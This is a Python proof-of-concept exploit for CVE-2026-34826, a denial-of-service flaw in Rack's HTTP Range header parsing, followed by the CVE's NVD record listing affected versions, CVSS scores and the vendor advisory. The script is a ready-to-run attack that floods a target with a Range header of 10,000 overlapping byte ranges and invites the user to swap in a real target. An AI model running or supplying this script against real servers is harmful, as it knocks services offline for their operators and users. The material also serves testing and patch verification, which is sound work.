CVE-2026-34826

import requests def exploit_poc(url): """ PoC for CVE-2026-34826 Sends a request with a large number of overlapping byte ranges to trigger DoS. """ target_url = f"{url}/path/to/file" # Replace with actual file path # Construct a malicious Range header with many overlapping small ranges # Example: 0-0,0-0,0-0... num_ranges = 10000 malicious_range = ",".join(["0-0"] * num_ranges) headers = { "Range": f"bytes={malicious_range}" } try: print(f"Sending request with {num_ranges} ranges to {target_url}...") response = requests.get(target_url, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") except requests.exceptions.Timeout: print("Request timed out - Potential DoS triggered.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with target exploit_poc(target)

{"cve": {"id": "CVE-2026-34826", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:25.880", "lastModified": "2026-04-16T17:09:16.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Utils.get_byte_ranges parses the HTTP Range header without limiting the number of individual byte ranges. Although the existing fix for CVE-2024-26141 rejects ranges whose total byte coverage exceeds the file size, it does not restrict the count of ranges. An attacker can supply many small overlapping ranges such as 0-0,0-0,0-0,... to trigger disproportionate CPU, memory, I/O, and bandwidth consumption per request. This results in a denial of service condition in Rack file-serving paths that process multipart byte range responses. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.23", "matchCriteriaId": "AD5DE7DE-3A8B-4064-A7D5-1E117A101E81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.21", "matchCriteriaId": "6948AAA6-873D-46BA-AA22-4C81138128E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.6", "matchCriteriaId": "3FB592AD-E826-49BE-AC6D-E5F55FDCC96E"}]}]}], "references": [{"url": "https://github.com/rack/rack/security/advisories/GHSA-x8cg-fq8g-mxfx", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}